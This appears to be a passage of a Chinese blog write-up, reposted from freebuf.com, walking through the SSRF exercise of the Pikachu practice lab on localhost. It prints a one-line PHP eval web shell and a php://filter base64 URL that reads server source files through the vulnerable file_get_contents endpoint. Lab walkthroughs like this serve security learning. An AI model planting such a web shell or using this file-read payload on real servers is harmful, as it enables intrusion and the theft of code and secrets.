为什么我的眼里常含泪水? 因为我对这土地爱得深沉……!!!!
好诗!!!!
我们还是复制一下链接地址:
和上一个一样,区别在于上一个用的是CURL,这里用的是FILE_GET_CONTENT函数!!!
BASE64解密后:
<?php @eval($_POST[“zhifei”]);?>
至于以上这个链接,我们试着把需要查看源代码文件的链接修改为绝对路径!!!
D:\phpStudy\PHPTutorial\WWW\pikachu\vul\ssrf
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D://phpStudy//PHPTutorial//WWW//pikachu//vul//ssrf//ssrf_fgc.php
有点问题!!!!
试试看,啥毛病!!!
没问题!!!
奇怪了,这个目录下的phpinfo.php有正常的回显!!!
但是其它文件,无法显示源代码!!!!
哈哈哈哈!!!!搞错了!!!
是显示在下面了!!!
来源:freebuf.com 2021-07-30 07:46:26 by: 知非知非知非
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册